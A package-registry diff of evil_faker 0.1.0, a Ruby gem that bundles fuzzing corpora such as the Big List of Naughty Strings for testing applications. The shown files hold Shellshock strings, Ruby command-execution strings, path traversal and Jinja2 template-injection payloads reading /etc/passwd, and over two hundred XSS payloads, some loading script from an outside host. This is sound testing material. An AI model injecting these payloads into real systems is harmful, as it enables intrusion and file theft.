evil_faker 0.1.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (135) hide show
  1. checksums.yaml +7 -0
  2. data/CHANGELOG.md +62 -0
  3. data/GENERATORS.md +164 -0
  4. data/LICENSE.txt +21 -0
  5. data/NOTICE.md +196 -0
  6. data/README.md +156 -0
  7. data/Rakefile +12 -0
  8. data/lib/evil_faker/base.rb +50 -0
  9. data/lib/evil_faker/data/blns.txt +742 -0
  10. data/lib/evil_faker/data/groups/blns/emoji/emoji.txt +10 -0
  11. data/lib/evil_faker/data/groups/blns/emoji/emoticons.txt +12 -0
  12. data/lib/evil_faker/data/groups/blns/emoji/regional.txt +3 -0
  13. data/lib/evil_faker/data/groups/blns/exploits/cves.txt +4 -0
  14. data/lib/evil_faker/data/groups/blns/exploits/human.txt +1 -0
  15. data/lib/evil_faker/data/groups/blns/exploits/ios.txt +3 -0
  16. data/lib/evil_faker/data/groups/blns/exploits/irc.txt +1 -0
  17. data/lib/evil_faker/data/groups/blns/filenames.txt +14 -0
  18. data/lib/evil_faker/data/groups/blns/injection/command.txt +6 -0
  19. data/lib/evil_faker/data/groups/blns/injection/file_inclusion.txt +2 -0
  20. data/lib/evil_faker/data/groups/blns/injection/interpolation.txt +9 -0
  21. data/lib/evil_faker/data/groups/blns/injection/jinja2.txt +2 -0
  22. data/lib/evil_faker/data/groups/blns/injection/script.txt +236 -0
  23. data/lib/evil_faker/data/groups/blns/injection/server_code.txt +9 -0
  24. data/lib/evil_faker/data/groups/blns/injection/sql.txt +8 -0
  25. data/lib/evil_faker/data/groups/blns/injection/xxe.txt +1 -0
  26. data/lib/evil_faker/data/groups/blns/numeric/numeric.txt +71 -0
  27. data/lib/evil_faker/data/groups/blns/numeric/unicode_numbers.txt +2 -0
  28. data/lib/evil_faker/data/groups/blns/profanity.txt +22 -0
  29. data/lib/evil_faker/data/groups/blns/reserved.txt +19 -0
  30. data/lib/evil_faker/data/groups/blns/rtl.txt +7 -0
  31. data/lib/evil_faker/data/groups/blns/terminal.txt +3 -0
  32. data/lib/evil_faker/data/groups/blns/unicode/accents.txt +4 -0
  33. data/lib/evil_faker/data/groups/blns/unicode/bom.txt +2 -0
  34. data/lib/evil_faker/data/groups/blns/unicode/controls.txt +3 -0
  35. data/lib/evil_faker/data/groups/blns/unicode/font.txt +8 -0
  36. data/lib/evil_faker/data/groups/blns/unicode/lowercase.txt +2 -0
  37. data/lib/evil_faker/data/groups/blns/unicode/quotes.txt +11 -0
  38. data/lib/evil_faker/data/groups/blns/unicode/scripts.txt +2 -0
  39. data/lib/evil_faker/data/groups/blns/unicode/special.txt +4 -0
  40. data/lib/evil_faker/data/groups/blns/unicode/symbols.txt +12 -0
  41. data/lib/evil_faker/data/groups/blns/unicode/trick.txt +5 -0
  42. data/lib/evil_faker/data/groups/blns/unicode/two_byte.txt +10 -0
  43. data/lib/evil_faker/data/groups/blns/unicode/upsidedown.txt +2 -0
  44. data/lib/evil_faker/data/groups/blns/unicode/whitespace.txt +1 -0
  45. data/lib/evil_faker/data/groups/blns/zalgo.txt +5 -0
  46. data/lib/evil_faker/data/groups/fuzzdb/email/invalid.txt +26 -0
  47. data/lib/evil_faker/data/groups/fuzzdb/email/valid.txt +32 -0
  48. data/lib/evil_faker/data/groups/fuzzdb/emoji/emoji.txt +8 -0
  49. data/lib/evil_faker/data/groups/fuzzdb/emoji/emoticons.txt +11 -0
  50. data/lib/evil_faker/data/groups/fuzzdb/emoji/regional.txt +3 -0
  51. data/lib/evil_faker/data/groups/fuzzdb/exploits/ios.txt +1 -0
  52. data/lib/evil_faker/data/groups/fuzzdb/headers/mimetypes.txt +1864 -0
  53. data/lib/evil_faker/data/groups/fuzzdb/headers/protocol.txt +357 -0
  54. data/lib/evil_faker/data/groups/fuzzdb/injection/command.txt +1115 -0
  55. data/lib/evil_faker/data/groups/fuzzdb/injection/directory_traversal.txt +536 -0
  56. data/lib/evil_faker/data/groups/fuzzdb/injection/file_inclusion.txt +906 -0
  57. data/lib/evil_faker/data/groups/fuzzdb/injection/file_upload_bypass.txt +371 -0
  58. data/lib/evil_faker/data/groups/fuzzdb/injection/format_strings.txt +67 -0
  59. data/lib/evil_faker/data/groups/fuzzdb/injection/generic.txt +584 -0
  60. data/lib/evil_faker/data/groups/fuzzdb/injection/integer_overflow.txt +12 -0
  61. data/lib/evil_faker/data/groups/fuzzdb/injection/json.txt +89 -0
  62. data/lib/evil_faker/data/groups/fuzzdb/injection/ldap.txt +35 -0
  63. data/lib/evil_faker/data/groups/fuzzdb/injection/magic_hashes.txt +24 -0
  64. data/lib/evil_faker/data/groups/fuzzdb/injection/nosql.txt +17 -0
  65. data/lib/evil_faker/data/groups/fuzzdb/injection/open_redirect.txt +37 -0
  66. data/lib/evil_faker/data/groups/fuzzdb/injection/rfi.txt +2241 -0
  67. data/lib/evil_faker/data/groups/fuzzdb/injection/script.txt +930 -0
  68. data/lib/evil_faker/data/groups/fuzzdb/injection/server_side_include.txt +78 -0
  69. data/lib/evil_faker/data/groups/fuzzdb/injection/source_disclosure.txt +18 -0
  70. data/lib/evil_faker/data/groups/fuzzdb/injection/sql.txt +661 -0
  71. data/lib/evil_faker/data/groups/fuzzdb/injection/ssrf.txt +56 -0
  72. data/lib/evil_faker/data/groups/fuzzdb/injection/type_confusion.txt +329 -0
  73. data/lib/evil_faker/data/groups/fuzzdb/injection/xpath.txt +13 -0
  74. data/lib/evil_faker/data/groups/fuzzdb/injection/xxe.txt +65 -0
  75. data/lib/evil_faker/data/groups/fuzzdb/routes/debug_params.txt +157 -0
  76. data/lib/evil_faker/data/groups/fuzzdb/routes/directory_indexing.txt +15 -0
  77. data/lib/evil_faker/data/groups/fuzzdb/routes/local_paths.txt +26 -0
  78. data/lib/evil_faker/data/groups/fuzzdb/rtl.txt +5 -0
  79. data/lib/evil_faker/data/groups/fuzzdb/terminal.txt +3 -0
  80. data/lib/evil_faker/data/groups/fuzzdb/unicode/bad_chars.txt +15 -0
  81. data/lib/evil_faker/data/groups/fuzzdb/unicode/special.txt +31 -0
  82. data/lib/evil_faker/data/groups/fuzzdb/unicode/trick.txt +5 -0
  83. data/lib/evil_faker/data/groups/fuzzdb/unicode/two_byte.txt +9 -0
  84. data/lib/evil_faker/data/groups/fuzzdb/unicode/upsidedown.txt +2 -0
  85. data/lib/evil_faker/data/groups/intruder_payloads/filenames.txt +124 -0
  86. data/lib/evil_faker/data/groups/intruder_payloads/injection/command.txt +445 -0
  87. data/lib/evil_faker/data/groups/intruder_payloads/injection/directory_traversal.txt +2578 -0
  88. data/lib/evil_faker/data/groups/intruder_payloads/injection/file_inclusion.txt +698 -0
  89. data/lib/evil_faker/data/groups/intruder_payloads/injection/generic.txt +1401 -0
  90. data/lib/evil_faker/data/groups/intruder_payloads/injection/overflow.txt +36 -0
  91. data/lib/evil_faker/data/groups/intruder_payloads/injection/script.txt +61 -0
  92. data/lib/evil_faker/data/groups/intruder_payloads/injection/server_side_include.txt +18 -0
  93. data/lib/evil_faker/data/groups/intruder_payloads/injection/sql.txt +753 -0
  94. data/lib/evil_faker/data/groups/intruder_payloads/injection/xxe.txt +66 -0
  95. data/lib/evil_faker/data/groups/intruder_payloads/unicode/bad_chars.txt +1 -0
  96. data/lib/evil_faker/data/groups/payloads_all_the_things/headers/cache_deception.txt +1125 -0
  97. data/lib/evil_faker/data/groups/payloads_all_the_things/injection/command.txt +496 -0
  98. data/lib/evil_faker/data/groups/payloads_all_the_things/injection/directory_traversal.txt +22607 -0
  99. data/lib/evil_faker/data/groups/payloads_all_the_things/injection/file_inclusion.txt +4787 -0
  100. data/lib/evil_faker/data/groups/payloads_all_the_things/injection/ldap.txt +60 -0
  101. data/lib/evil_faker/data/groups/payloads_all_the_things/injection/nosql.txt +26 -0
  102. data/lib/evil_faker/data/groups/payloads_all_the_things/injection/open_redirect.txt +305 -0
  103. data/lib/evil_faker/data/groups/payloads_all_the_things/injection/script.txt +2165 -0
  104. data/lib/evil_faker/data/groups/payloads_all_the_things/injection/sql.txt +1354 -0
  105. data/lib/evil_faker/data/groups/payloads_all_the_things/injection/ssti.txt +105 -0
  106. data/lib/evil_faker/data/groups/payloads_all_the_things/injection/xxe.txt +102 -0
  107. data/lib/evil_faker/data/groups/payloads_all_the_things/routes/admin_interfaces.txt +52 -0
  108. data/lib/evil_faker/groups/email.rb +11 -0
  109. data/lib/evil_faker/groups/emoji.rb +12 -0
  110. data/lib/evil_faker/groups/exploits.rb +13 -0
  111. data/lib/evil_faker/groups/filenames.rb +8 -0
  112. data/lib/evil_faker/groups/headers.rb +12 -0
  113. data/lib/evil_faker/groups/injection.rb +35 -0
  114. data/lib/evil_faker/groups/numeric.rb +11 -0
  115. data/lib/evil_faker/groups/profanity.rb +8 -0
  116. data/lib/evil_faker/groups/reserved.rb +8 -0
  117. data/lib/evil_faker/groups/routes.rb +13 -0
  118. data/lib/evil_faker/groups/rtl.rb +8 -0
  119. data/lib/evil_faker/groups/terminal.rb +8 -0
  120. data/lib/evil_faker/groups/unicode.rb +23 -0
  121. data/lib/evil_faker/groups/zalgo.rb +8 -0
  122. data/lib/evil_faker/source_base.rb +30 -0
  123. data/lib/evil_faker/sources/blns.rb +8 -0
  124. data/lib/evil_faker/sources/fuzzdb.rb +8 -0
  125. data/lib/evil_faker/sources/intruder_payloads.rb +8 -0
  126. data/lib/evil_faker/sources/payloads_all_the_things.rb +8 -0
  127. data/lib/evil_faker/version.rb +5 -0
  128. data/lib/evil_faker.rb +13 -0
  129. data/scripts/blns_build_corpus.rb +159 -0
  130. data/scripts/fuzzdb_build_corpus.rb +166 -0
  131. data/scripts/generate_namespaces.rb +87 -0
  132. data/scripts/intruder_payloads_build_corpus.rb +112 -0
  133. data/scripts/payloads_all_the_things_build_corpus.rb +74 -0
  134. data/sig/evil_faker.rbs +4 -0
  135. metadata +181 -0
@@ -0,0 +1,10 @@
1
+ 😍
2
+ 👩🏽
3
+ 👨‍🦰 👨🏿‍🦰 👨‍🦱 👨🏿‍🦱 🦹🏿‍♂️
4
+ 👾 🙇 💁 🙅 🙆 🙋 🙎 🙍
5
+ 🐵 🙈 🙉 🙊
6
+ ❤️ 💔 💌 💕 💞 💓 💗 💖 💘 💝 💟 💜 💛 💚 💙
7
+ ✋🏿 💪🏿 👐🏿 🙌🏿 👏🏿 🙏🏿
8
+ 👨‍👩‍👦 👨‍👩‍👧‍👦 👨‍👨‍👦 👩‍👩‍👧 👨‍👦 👨‍👧‍👦 👩‍👦 👩‍👧‍👦
9
+ 🚾 🆒 🆓 🆕 🆖 🆗 🆙 🏧
10
+ 0️⃣ 1️⃣ 2️⃣ 3️⃣ 4️⃣ 5️⃣ 6️⃣ 7️⃣ 8️⃣ 9️⃣ 🔟
@@ -0,0 +1,12 @@
1
+ ヽ༼ຈل͜ຈ༽ノ ヽ༼ຈل͜ຈ༽ノ
2
+ (。◕ ∀ ◕。)
3
+ `ィ(´∀`∩
4
+ __ロ(,_,*)
5
+ ・( ̄∀ ̄)・:*:
6
+ ゚・✿ヾ╲(。◕‿◕。)╱✿・゚
7
+ ,。・:*:・゜’( ☻ ω ☻ )。・:*:・゜’
8
+ (╯°□°)╯︵ ┻━┻)
9
+ (ノಥ益ಥ)ノ ┻━┻
10
+ ┬─┬ノ( º _ ºノ)
11
+ ( ͡° ͜ʖ ͡°)
12
+ ¯\_(ツ)_/¯
@@ -0,0 +1,3 @@
1
+ 🇺🇸🇷🇺🇸 🇦🇫🇦🇲🇸
2
+ 🇺🇸🇷🇺🇸🇦🇫🇦🇲
3
+ 🇺🇸🇷🇺🇸🇦
@@ -0,0 +1,4 @@
1
+ () { 0; }; touch /tmp/blns.shellshock1.fail;
2
+ () { _; } >_[$($())] { touch /tmp/blns.shellshock2.fail; }
3
+ <<< %s(un='%s') = %u
4
+ +++ATH0
@@ -0,0 +1 @@
1
+ If you're reading this, you've been in a coma for almost 20 years now. We're trying a new technique. We don't know where this message will end up in your dream, but we hope it works. Please wake up, we miss you.
@@ -0,0 +1,3 @@
1
+ Powerلُلُصّبُلُلصّبُررً ॣ ॣh ॣ ॣ冗
2
+ 🏳0🌈️
3
+ జ్ఞ‌ా
@@ -0,0 +1 @@
1
+ DCC SEND STARTKEYLOGGER 0 0 0
@@ -0,0 +1,14 @@
1
+ CON
2
+ PRN
3
+ AUX
4
+ CLOCK$
5
+ NUL
6
+ A:
7
+ ZZ:
8
+ COM1
9
+ LPT1
10
+ LPT2
11
+ LPT3
12
+ COM2
13
+ COM3
14
+ COM4
@@ -0,0 +1,6 @@
1
+ eval("puts 'hello world'")
2
+ System("ls -al /")
3
+ `ls -al /`
4
+ Kernel.exec("ls -al /")
5
+ Kernel.exit(1)
6
+ %x('ls -al /')
@@ -0,0 +1,2 @@
1
+ ../../../../../../../../../../../etc/passwd%00
2
+ ../../../../../../../../../../../etc/hosts
@@ -0,0 +1,9 @@
1
+ $HOME
2
+ $ENV{'HOME'}
3
+ %d
4
+ %s%s%s%s%s
5
+ {0}
6
+ %*.*s
7
+ %@
8
+ %n
9
+ File:///
@@ -0,0 +1,2 @@
1
+ {% print 'x' * 64 * 1024**3 %}
2
+ {{ "".__class__.__mro__[2].__subclasses__()[40]("/etc/passwd").read() }}
@@ -0,0 +1,236 @@
1
+ <script>alert(0)</script>
2
+ &lt;script&gt;alert(&#39;1&#39;);&lt;/script&gt;
3
+ <img src=x onerror=alert(2) />
4
+ <svg><script>123<1>alert(3)</script>
5
+ "><script>alert(4)</script>
6
+ '><script>alert(5)</script>
7
+ ><script>alert(6)</script>
8
+ </script><script>alert(7)</script>
9
+ < / script >< script >alert(8)< / script >
10
+  onfocus=JaVaSCript:alert(9) autofocus
11
+ " onfocus=JaVaSCript:alert(10) autofocus
12
+ ' onfocus=JaVaSCript:alert(11) autofocus
13
+ <script>alert(12)</script>
14
+ <sc<script>ript>alert(13)</sc</script>ript>
15
+ --><script>alert(14)</script>
16
+ ";alert(15);t="
17
+ ';alert(16);t='
18
+ JavaSCript:alert(17)
19
+ ;alert(18);
20
+ src=JaVaSCript:prompt(19)
21
+ "><script>alert(20);</script x="
22
+ '><script>alert(21);</script x='
23
+ ><script>alert(22);</script x=
24
+ " autofocus onkeyup="javascript:alert(23)
25
+ ' autofocus onkeyup='javascript:alert(24)
26
+ <script\x20type="text/javascript">javascript:alert(25);</script>
27
+ <script\x3Etype="text/javascript">javascript:alert(26);</script>
28
+ <script\x0Dtype="text/javascript">javascript:alert(27);</script>
29
+ <script\x09type="text/javascript">javascript:alert(28);</script>
30
+ <script\x0Ctype="text/javascript">javascript:alert(29);</script>
31
+ <script\x2Ftype="text/javascript">javascript:alert(30);</script>
32
+ <script\x0Atype="text/javascript">javascript:alert(31);</script>
33
+ '`"><\x3Cscript>javascript:alert(32)</script>
34
+ '`"><\x00script>javascript:alert(33)</script>
35
+ ABC<div style="x\x3Aexpression(javascript:alert(34)">DEF
36
+ ABC<div style="x:expression\x5C(javascript:alert(35)">DEF
37
+ ABC<div style="x:expression\x00(javascript:alert(36)">DEF
38
+ ABC<div style="x:exp\x00ression(javascript:alert(37)">DEF
39
+ ABC<div style="x:exp\x5Cression(javascript:alert(38)">DEF
40
+ ABC<div style="x:\x0Aexpression(javascript:alert(39)">DEF
41
+ ABC<div style="x:\x09expression(javascript:alert(40)">DEF
42
+ ABC<div style="x:\xE3\x80\x80expression(javascript:alert(41)">DEF
43
+ ABC<div style="x:\xE2\x80\x84expression(javascript:alert(42)">DEF
44
+ ABC<div style="x:\xC2\xA0expression(javascript:alert(43)">DEF
45
+ ABC<div style="x:\xE2\x80\x80expression(javascript:alert(44)">DEF
46
+ ABC<div style="x:\xE2\x80\x8Aexpression(javascript:alert(45)">DEF
47
+ ABC<div style="x:\x0Dexpression(javascript:alert(46)">DEF
48
+ ABC<div style="x:\x0Cexpression(javascript:alert(47)">DEF
49
+ ABC<div style="x:\xE2\x80\x87expression(javascript:alert(48)">DEF
50
+ ABC<div style="x:\xEF\xBB\xBFexpression(javascript:alert(49)">DEF
51
+ ABC<div style="x:\x20expression(javascript:alert(50)">DEF
52
+ ABC<div style="x:\xE2\x80\x88expression(javascript:alert(51)">DEF
53
+ ABC<div style="x:\x00expression(javascript:alert(52)">DEF
54
+ ABC<div style="x:\xE2\x80\x8Bexpression(javascript:alert(53)">DEF
55
+ ABC<div style="x:\xE2\x80\x86expression(javascript:alert(54)">DEF
56
+ ABC<div style="x:\xE2\x80\x85expression(javascript:alert(55)">DEF
57
+ ABC<div style="x:\xE2\x80\x82expression(javascript:alert(56)">DEF
58
+ ABC<div style="x:\x0Bexpression(javascript:alert(57)">DEF
59
+ ABC<div style="x:\xE2\x80\x81expression(javascript:alert(58)">DEF
60
+ ABC<div style="x:\xE2\x80\x83expression(javascript:alert(59)">DEF
61
+ ABC<div style="x:\xE2\x80\x89expression(javascript:alert(60)">DEF
62
+ <a href="\x0Bjavascript:javascript:alert(61)" id="fuzzelement1">test</a>
63
+ <a href="\x0Fjavascript:javascript:alert(62)" id="fuzzelement1">test</a>
64
+ <a href="\xC2\xA0javascript:javascript:alert(63)" id="fuzzelement1">test</a>
65
+ <a href="\x05javascript:javascript:alert(64)" id="fuzzelement1">test</a>
66
+ <a href="\xE1\xA0\x8Ejavascript:javascript:alert(65)" id="fuzzelement1">test</a>
67
+ <a href="\x18javascript:javascript:alert(66)" id="fuzzelement1">test</a>
68
+ <a href="\x11javascript:javascript:alert(67)" id="fuzzelement1">test</a>
69
+ <a href="\xE2\x80\x88javascript:javascript:alert(68)" id="fuzzelement1">test</a>
70
+ <a href="\xE2\x80\x89javascript:javascript:alert(69)" id="fuzzelement1">test</a>
71
+ <a href="\xE2\x80\x80javascript:javascript:alert(70)" id="fuzzelement1">test</a>
72
+ <a href="\x17javascript:javascript:alert(71)" id="fuzzelement1">test</a>
73
+ <a href="\x03javascript:javascript:alert(72)" id="fuzzelement1">test</a>
74
+ <a href="\x0Ejavascript:javascript:alert(73)" id="fuzzelement1">test</a>
75
+ <a href="\x1Ajavascript:javascript:alert(74)" id="fuzzelement1">test</a>
76
+ <a href="\x00javascript:javascript:alert(75)" id="fuzzelement1">test</a>
77
+ <a href="\x10javascript:javascript:alert(76)" id="fuzzelement1">test</a>
78
+ <a href="\xE2\x80\x82javascript:javascript:alert(77)" id="fuzzelement1">test</a>
79
+ <a href="\x20javascript:javascript:alert(78)" id="fuzzelement1">test</a>
80
+ <a href="\x13javascript:javascript:alert(79)" id="fuzzelement1">test</a>
81
+ <a href="\x09javascript:javascript:alert(80)" id="fuzzelement1">test</a>
82
+ <a href="\xE2\x80\x8Ajavascript:javascript:alert(81)" id="fuzzelement1">test</a>
83
+ <a href="\x14javascript:javascript:alert(82)" id="fuzzelement1">test</a>
84
+ <a href="\x19javascript:javascript:alert(83)" id="fuzzelement1">test</a>
85
+ <a href="\xE2\x80\xAFjavascript:javascript:alert(84)" id="fuzzelement1">test</a>
86
+ <a href="\x1Fjavascript:javascript:alert(85)" id="fuzzelement1">test</a>
87
+ <a href="\xE2\x80\x81javascript:javascript:alert(86)" id="fuzzelement1">test</a>
88
+ <a href="\x1Djavascript:javascript:alert(87)" id="fuzzelement1">test</a>
89
+ <a href="\xE2\x80\x87javascript:javascript:alert(88)" id="fuzzelement1">test</a>
90
+ <a href="\x07javascript:javascript:alert(89)" id="fuzzelement1">test</a>
91
+ <a href="\xE1\x9A\x80javascript:javascript:alert(90)" id="fuzzelement1">test</a>
92
+ <a href="\xE2\x80\x83javascript:javascript:alert(91)" id="fuzzelement1">test</a>
93
+ <a href="\x04javascript:javascript:alert(92)" id="fuzzelement1">test</a>
94
+ <a href="\x01javascript:javascript:alert(93)" id="fuzzelement1">test</a>
95
+ <a href="\x08javascript:javascript:alert(94)" id="fuzzelement1">test</a>
96
+ <a href="\xE2\x80\x84javascript:javascript:alert(95)" id="fuzzelement1">test</a>
97
+ <a href="\xE2\x80\x86javascript:javascript:alert(96)" id="fuzzelement1">test</a>
98
+ <a href="\xE3\x80\x80javascript:javascript:alert(97)" id="fuzzelement1">test</a>
99
+ <a href="\x12javascript:javascript:alert(98)" id="fuzzelement1">test</a>
100
+ <a href="\x0Djavascript:javascript:alert(99)" id="fuzzelement1">test</a>
101
+ <a href="\x0Ajavascript:javascript:alert(100)" id="fuzzelement1">test</a>
102
+ <a href="\x0Cjavascript:javascript:alert(101)" id="fuzzelement1">test</a>
103
+ <a href="\x15javascript:javascript:alert(102)" id="fuzzelement1">test</a>
104
+ <a href="\xE2\x80\xA8javascript:javascript:alert(103)" id="fuzzelement1">test</a>
105
+ <a href="\x16javascript:javascript:alert(104)" id="fuzzelement1">test</a>
106
+ <a href="\x02javascript:javascript:alert(105)" id="fuzzelement1">test</a>
107
+ <a href="\x1Bjavascript:javascript:alert(106)" id="fuzzelement1">test</a>
108
+ <a href="\x06javascript:javascript:alert(107)" id="fuzzelement1">test</a>
109
+ <a href="\xE2\x80\xA9javascript:javascript:alert(108)" id="fuzzelement1">test</a>
110
+ <a href="\xE2\x80\x85javascript:javascript:alert(109)" id="fuzzelement1">test</a>
111
+ <a href="\x1Ejavascript:javascript:alert(110)" id="fuzzelement1">test</a>
112
+ <a href="\xE2\x81\x9Fjavascript:javascript:alert(111)" id="fuzzelement1">test</a>
113
+ <a href="\x1Cjavascript:javascript:alert(112)" id="fuzzelement1">test</a>
114
+ <a href="javascript\x00:javascript:alert(113)" id="fuzzelement1">test</a>
115
+ <a href="javascript\x3A:javascript:alert(114)" id="fuzzelement1">test</a>
116
+ <a href="javascript\x09:javascript:alert(115)" id="fuzzelement1">test</a>
117
+ <a href="javascript\x0D:javascript:alert(116)" id="fuzzelement1">test</a>
118
+ <a href="javascript\x0A:javascript:alert(117)" id="fuzzelement1">test</a>
119
+ `"'><img src=xxx:x \x0Aonerror=javascript:alert(118)>
120
+ `"'><img src=xxx:x \x22onerror=javascript:alert(119)>
121
+ `"'><img src=xxx:x \x0Bonerror=javascript:alert(120)>
122
+ `"'><img src=xxx:x \x0Donerror=javascript:alert(121)>
123
+ `"'><img src=xxx:x \x2Fonerror=javascript:alert(122)>
124
+ `"'><img src=xxx:x \x09onerror=javascript:alert(123)>
125
+ `"'><img src=xxx:x \x0Conerror=javascript:alert(124)>
126
+ `"'><img src=xxx:x \x00onerror=javascript:alert(125)>
127
+ `"'><img src=xxx:x \x27onerror=javascript:alert(126)>
128
+ `"'><img src=xxx:x \x20onerror=javascript:alert(127)>
129
+ "`'><script>\x3Bjavascript:alert(128)</script>
130
+ "`'><script>\x0Djavascript:alert(129)</script>
131
+ "`'><script>\xEF\xBB\xBFjavascript:alert(130)</script>
132
+ "`'><script>\xE2\x80\x81javascript:alert(131)</script>
133
+ "`'><script>\xE2\x80\x84javascript:alert(132)</script>
134
+ "`'><script>\xE3\x80\x80javascript:alert(133)</script>
135
+ "`'><script>\x09javascript:alert(134)</script>
136
+ "`'><script>\xE2\x80\x89javascript:alert(135)</script>
137
+ "`'><script>\xE2\x80\x85javascript:alert(136)</script>
138
+ "`'><script>\xE2\x80\x88javascript:alert(137)</script>
139
+ "`'><script>\x00javascript:alert(138)</script>
140
+ "`'><script>\xE2\x80\xA8javascript:alert(139)</script>
141
+ "`'><script>\xE2\x80\x8Ajavascript:alert(140)</script>
142
+ "`'><script>\xE1\x9A\x80javascript:alert(141)</script>
143
+ "`'><script>\x0Cjavascript:alert(142)</script>
144
+ "`'><script>\x2Bjavascript:alert(143)</script>
145
+ "`'><script>\xF0\x90\x96\x9Ajavascript:alert(144)</script>
146
+ "`'><script>-javascript:alert(145)</script>
147
+ "`'><script>\x0Ajavascript:alert(146)</script>
148
+ "`'><script>\xE2\x80\xAFjavascript:alert(147)</script>
149
+ "`'><script>\x7Ejavascript:alert(148)</script>
150
+ "`'><script>\xE2\x80\x87javascript:alert(149)</script>
151
+ "`'><script>\xE2\x81\x9Fjavascript:alert(150)</script>
152
+ "`'><script>\xE2\x80\xA9javascript:alert(151)</script>
153
+ "`'><script>\xC2\x85javascript:alert(152)</script>
154
+ "`'><script>\xEF\xBF\xAEjavascript:alert(153)</script>
155
+ "`'><script>\xE2\x80\x83javascript:alert(154)</script>
156
+ "`'><script>\xE2\x80\x8Bjavascript:alert(155)</script>
157
+ "`'><script>\xEF\xBF\xBEjavascript:alert(156)</script>
158
+ "`'><script>\xE2\x80\x80javascript:alert(157)</script>
159
+ "`'><script>\x21javascript:alert(158)</script>
160
+ "`'><script>\xE2\x80\x82javascript:alert(159)</script>
161
+ "`'><script>\xE2\x80\x86javascript:alert(160)</script>
162
+ "`'><script>\xE1\xA0\x8Ejavascript:alert(161)</script>
163
+ "`'><script>\x0Bjavascript:alert(162)</script>
164
+ "`'><script>\x20javascript:alert(163)</script>
165
+ "`'><script>\xC2\xA0javascript:alert(164)</script>
166
+ <img \x00src=x onerror="alert(165)">
167
+ <img \x47src=x onerror="javascript:alert(166)">
168
+ <img \x11src=x onerror="javascript:alert(167)">
169
+ <img \x12src=x onerror="javascript:alert(168)">
170
+ <img\x47src=x onerror="javascript:alert(169)">
171
+ <img\x10src=x onerror="javascript:alert(170)">
172
+ <img\x13src=x onerror="javascript:alert(171)">
173
+ <img\x32src=x onerror="javascript:alert(172)">
174
+ <img\x47src=x onerror="javascript:alert(173)">
175
+ <img\x11src=x onerror="javascript:alert(174)">
176
+ <img \x47src=x onerror="javascript:alert(175)">
177
+ <img \x34src=x onerror="javascript:alert(176)">
178
+ <img \x39src=x onerror="javascript:alert(177)">
179
+ <img \x00src=x onerror="javascript:alert(178)">
180
+ <img src\x09=x onerror="javascript:alert(179)">
181
+ <img src\x10=x onerror="javascript:alert(180)">
182
+ <img src\x13=x onerror="javascript:alert(181)">
183
+ <img src\x32=x onerror="javascript:alert(182)">
184
+ <img src\x12=x onerror="javascript:alert(183)">
185
+ <img src\x11=x onerror="javascript:alert(184)">
186
+ <img src\x00=x onerror="javascript:alert(185)">
187
+ <img src\x47=x onerror="javascript:alert(186)">
188
+ <img src=x\x09onerror="javascript:alert(187)">
189
+ <img src=x\x10onerror="javascript:alert(188)">
190
+ <img src=x\x11onerror="javascript:alert(189)">
191
+ <img src=x\x12onerror="javascript:alert(190)">
192
+ <img src=x\x13onerror="javascript:alert(191)">
193
+ <img[a][b][c]src[d]=x[e]onerror=[f]"alert(192)">
194
+ <img src=x onerror=\x09"javascript:alert(193)">
195
+ <img src=x onerror=\x10"javascript:alert(194)">
196
+ <img src=x onerror=\x11"javascript:alert(195)">
197
+ <img src=x onerror=\x12"javascript:alert(196)">
198
+ <img src=x onerror=\x32"javascript:alert(197)">
199
+ <img src=x onerror=\x00"javascript:alert(198)">
200
+ <a href=java&#1&#2&#3&#4&#5&#6&#7&#8&#11&#12script:javascript:alert(199)>XXX</a>
201
+ <img src="x` `<script>javascript:alert(200)</script>"` `>
202
+ <img src onerror /" '"= alt=javascript:alert(201)//">
203
+ <title onpropertychange=javascript:alert(202)></title><title title=>
204
+ <a href=http://foo.bar/#x=`y></a><img alt="`><img src=x:x onerror=javascript:alert(203)></a>">
205
+ <!--[if]><script>javascript:alert(204)</script -->
206
+ <!--[if<img src=x onerror=javascript:alert(205)//]> -->
207
+ <script src="/\%(jscript)s"></script>
208
+ <script src="\\%(jscript)s"></script>
209
+ <IMG """><SCRIPT>alert("206")</SCRIPT>">
210
+ <IMG SRC=javascript:alert(String.fromCharCode(50,48,55))>
211
+ <IMG SRC=# onmouseover="alert('208')">
212
+ <IMG SRC= onmouseover="alert('209')">
213
+ <IMG onmouseover="alert('210')">
214
+ <IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#50;&#49;&#49;&#39;&#41;>
215
+ <IMG SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000050&#0000049&#0000050&#0000039&#0000041>
216
+ <IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x32&#x31&#x33&#x27&#x29>
217
+ <IMG SRC="jav   ascript:alert('214');">
218
+ <IMG SRC="jav&#x09;ascript:alert('215');">
219
+ <IMG SRC="jav&#x0A;ascript:alert('216');">
220
+ <IMG SRC="jav&#x0D;ascript:alert('217');">
221
+ perl -e 'print "<IMG SRC=java\0script:alert(\"218\")>";' > out
222
+ <IMG SRC=" &#14;  javascript:alert('219');">
223
+ <SCRIPT/XSS SRC="http://ha.ckers.org/xss.js"></SCRIPT>
224
+ <BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert("220")>
225
+ <SCRIPT/SRC="http://ha.ckers.org/xss.js"></SCRIPT>
226
+ <<SCRIPT>alert("221");//<</SCRIPT>
227
+ <SCRIPT SRC=http://ha.ckers.org/xss.js?< B >
228
+ <SCRIPT SRC=//ha.ckers.org/.j>
229
+ <IMG SRC="javascript:alert('222')"
230
+ <iframe src=http://ha.ckers.org/scriptlet.html <
231
+ \";alert('223');//
232
+ <u oncopy=alert()> Copy me</u>
233
+ <i onwheel=alert(224)> Scroll over me </i>
234
+ <plaintext>
235
+ http://a/%%30%30
236
+ </textarea><script>alert(225)</script>
@@ -0,0 +1,9 @@
1
+ -
2
+ --
3
+ --version
4
+ --help
5
+ $USER
6
+ /dev/null; touch /tmp/blns.fail ; echo
7
+ `touch /tmp/blns.fail`
8
+ $(touch /tmp/blns.fail)
9
+ @{[system "touch /tmp/blns.fail"]}
@@ -0,0 +1,8 @@
1
